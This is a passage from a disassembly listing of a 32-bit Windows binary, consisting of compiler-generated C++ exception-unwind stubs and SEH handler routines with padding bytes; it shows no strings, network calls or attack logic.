0A4Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A96h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0ADFh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B28h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B71h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B9Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCDh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BFBh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C29h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C57h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C85h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CB3h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CE1h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D0Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D3Dh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D6Bh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D99h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DC7h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DF5h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E23h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E51h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E7Fh jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 10C7h jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 130Fh jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1557h jmp sub_40208B ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403720 proc near ; DATA XREF: sub_403720+2o mov eax, offset dword_43F4C0 jmp sub_437AB8 SEH_403720 endp ; --------------------------------------------------------------------------- db 0D6h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403C50 proc near ; DATA XREF: sub_403C50+2o mov eax, offset dword_43F700 jmp sub_437AB8 SEH_403C50 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4392B8: ; DATA XREF: ___:0043F75Co mov ecx, [ebp-10h] add ecx, 1Eh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403CE0 proc near ; DATA XREF: sub_403CE0+2o mov eax, offset dword_43F730 jmp sub_437AB8 SEH_403CE0 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4392E8: ; DATA XREF: ___:0043F794o mov ecx, [ebp-10h] add ecx, 1Eh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403D60 proc near ; DATA XREF: sub_403D60+2o mov eax, offset dword_43F768 jmp sub_437AB8 SEH_403D60 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403DE0 proc near ; DATA XREF: sub_403DE0+2o mov eax, offset dword_43F7A0 jmp sub_437AB8 SEH_403DE0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401AE6 ; --------------------------------------------------------------------------- loc_439338: ; DATA XREF: ___:0043F7FCo mov ecx, [ebp-10h] add ecx, 49h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 92h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DBh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 124h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 16Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B6h jmp sub_401AE6 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403E50 proc near ; DATA XREF: sub_403E50+2o mov eax, offset dword_43F7D0 jmp sub_437AB8 SEH_403E50 endp ; --------------------------------------------------------------------------- db 1Dh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401AE6 ; --------------------------------------------------------------------------- loc_4393B8: ; DATA XREF: ___:0043F85Co mov ecx, [ebp-10h] add ecx, 49h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 92h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DBh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 124h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 16Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B6h jmp sub_401AE6 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403F30 proc near ; DATA XREF: sub_403F30+2o mov eax, offset dword_43F830 jmp sub_437AB8 SEH_403F30 endp ; --------------------------------------------------------------------------- db 1Dh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_404010 proc near ; DATA XREF: sub_404010+2o mov eax, offset dword_43F890 jmp sub_437AB8 SEH_404010 endp ; --------------------------------------------------------------------------- db 2Eh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4394F8: ; DATA XREF: ___:0043F974o lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_404690 proc near ; DATA XREF: sub_404690+2o mov eax, offset dword_43F948 jmp sub_437AB8 SEH_404690 endp ; --------------------------------------------------------------------------- db 1Bh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43957B: ; DATA XREF: ___:0043F9FCo lea ecx, [ebp-100h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439586: ; DATA XREF: ___:0043FA04o lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-100h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-134h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0E8h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_404CC0 proc near ; DATA XREF: sub_404CC0+8o mov eax, offset dword_43F9D0 jmp sub_437AB8 SEH_404CC0 endp ; --------------------------------------------------------------------------- db 8Bh dup(0CCh) ; --------------------------------------------------------------------------- loc_439820: ; DATA XREF: ___:0043FBD4o lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-28h] and eax, 1 test eax, eax jz locret_43983E mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_43983E: ; CODE XREF: ___:00439830j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_406730 proc near ; DATA XREF: sub_406730+2o mov eax, offset dword_43FBA8 jmp sub_437AB8 SEH_406730 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- loc_439860: ; DATA XREF: ___:0043FC0Co lea ecx, [ebp-18Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-198h] and eax, 1 test eax, eax jz locret_439884 mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_439884: ; CODE XREF: ___:00439876j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4068E0 proc near ; DATA XREF: sub_4068E0+2o mov eax, offset dword_43FBE0 jmp sub_437AB8 SEH_4068E0 endp ; --------------------------------------------------------------------------- db 11h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-454h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4398AB: ; DATA XREF: ___:0043FC44o lea ecx, [ebp-43Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4398B6: ; DATA XREF: ___:0043FC4Co lea ecx, [ebp-424h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_406C80 proc near ; DATA XREF: sub_406C80+8o mov eax, offset dword_43FC18 jmp sub_437AB8 SEH_406C80 endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_407080 proc near ; DATA XREF: sub_407080+2o mov eax, offset dword_43FC58 jmp sub_437AB8 SEH_407080 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+8] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4076B0 proc near ; DATA XREF: sub_4076B0+8o mov eax, offset dword_43FC88 jmp sub_437AB8 SEH_4076B0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+20h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439928: ; DATA XREF: ___:0043FCE4o lea ecx, [ebp+8] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_407740 proc near ; DATA XREF: sub_407740+8o mov eax, offset dword_43FCB8 jmp sub_437AB8 SEH_407740 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-2C4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43994B: ; DATA XREF: ___:0043FD1Co lea ecx, [ebp-2DCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-174h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2ACh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-204h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-294h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-234h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-264h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0E4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-15Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-114h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-18Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-144h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1BCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-27Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0CCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-21Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0B4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-9Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-330h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-318h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-34Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-12Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0FCh] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-2F8h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-300h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4077E0 proc near ; DATA XREF: sub_4077E0+2o mov eax, offset dword_43FCF0 jmp sub_437AB8 SEH_4077E0 endp ; --------------------------------------------------------------------------- db 0CFh dup(0CCh) dd 90C84D8Dh, 0C5574CE9h db 75h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_409660 proc near ; DATA XREF: sub_409660+2o mov eax, offset dword_4400A0 jmp sub_437AB8 SEH_409660 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40A370 proc near ; DATA XREF: sub_40A370+2o mov eax, offset dword_4400D0 jmp sub_437AB8 SEH_40A370 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-38h] and eax, 1 test eax, eax jz locret_439D86 mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_439D86: ; CODE XREF: ___:00439D78j retn ; --------------------------------------------------------------------------- loc_439D87: ; DATA XREF: ___:0044012Co lea ecx, [ebp-34h] jmp sub_401596 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40A510 proc near ; DATA XREF: sub_40A510+2o mov eax, offset dword_440100 jmp sub_437AB8 SEH_40A510 endp ; --------------------------------------------------------------------------- align 10h dd 0E9C84D8Dh, 75C556CDh db 80h ; --------------------------------------------------------------------------- loc_439DB9: ; DATA XREF: ___:0040AA32o mov eax, offset byte_440140 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40AEF0 proc near ; DATA XREF: sub_40AEF0+5o mov eax, offset dword_440170 jmp sub_437AB8 SEH_40AEF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B070 proc near ; DATA XREF: sub_40B070+5o mov eax, offset dword_4401D0 jmp sub_437AB8 SEH_40B070 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_439DFB: ; DATA XREF: ___:0044025Co mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_40155F ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B190 proc near ; DATA XREF: sub_40B190+2o mov eax, offset dword_440230 jmp sub_437AB8 SEH_40B190 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_439E4B: ; DATA XREF: ___:004402A4o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_40155F ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B250 proc near ; DATA XREF: sub_40B250+2o mov eax, offset dword_440278 jmp sub_437AB8 SEH_40B250 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B2F0 proc near ; DATA XREF: sub_40B2F0+2o mov eax, offset dword_4402C0 jmp sub_437AB8 SEH_40B2F0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439EC8: ; DATA XREF: ___:0044032Co lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B510 proc near ; DATA XREF: sub_40B510+2o mov eax, offset dword_440300 jmp sub_437AB8 SEH_40B510 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439EF8: ; DATA XREF: ___:0040B6D2o mov eax, offset dword_440340 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439F30: ; DATA XREF: ___:0040B9B8o mov eax, offset dword_440370 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40C440 proc near ; DATA XREF: sub_40C440+2o mov eax, offset dword_4403B8 jmp sub_437AB8 SEH_40C440 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-0A78h] jmp loc_401B13 ; --------------------------------------------------------------------------- loc_439F7B: ; DATA XREF: ___:00440414o lea ecx, [ebp-0A3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439F86: ; DATA XREF: ___:0044041Co lea ecx, [ebp-0A54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0A3Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40C4E0 proc near ; DATA XREF: sub_40C4E0+8o mov eax, offset dword_4403E8 jmp sub_437AB8 SEH_40C4E0 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40CBF0 proc near ; DATA XREF: sub_40CBF0+2o mov eax, offset dword_440430 jmp sub_437AB8 SEH_40CBF0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-260h] jmp loc_40228E ; --------------------------------------------------------------------------- loc_439FEB: ; DATA XREF: ___:0044048Co lea ecx, [ebp-278h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439FF6: ; DATA XREF: ___:00440494o lea ecx, [ebp-278h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A001: ; DATA XREF: ___:0044049Co lea ecx, [ebp-278h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A00C: ; DATA XREF: ___:004404A4o lea ecx, [ebp-278h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40CC90 proc near ; DATA XREF: sub_40CC90+8o mov eax, offset dword_440460 jmp sub_437AB8 SEH_40CC90 endp ; --------------------------------------------------------------------------- db 1Fh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A04B: ; DATA XREF: ___:004404DCo mov ecx, [ebp-10h] add ecx, 19h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40CF40 proc near ; DATA XREF: sub_40CF40+2o mov eax, offset dword_4404B0 jmp sub_437AB8 SEH_40CF40 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A07B: ; DATA XREF: ___:00440514o mov ecx, [ebp-10h] add ecx, 19h jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A086: ; DATA XREF: ___:0040CFC2o mov eax, offset dword_4404E8 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, 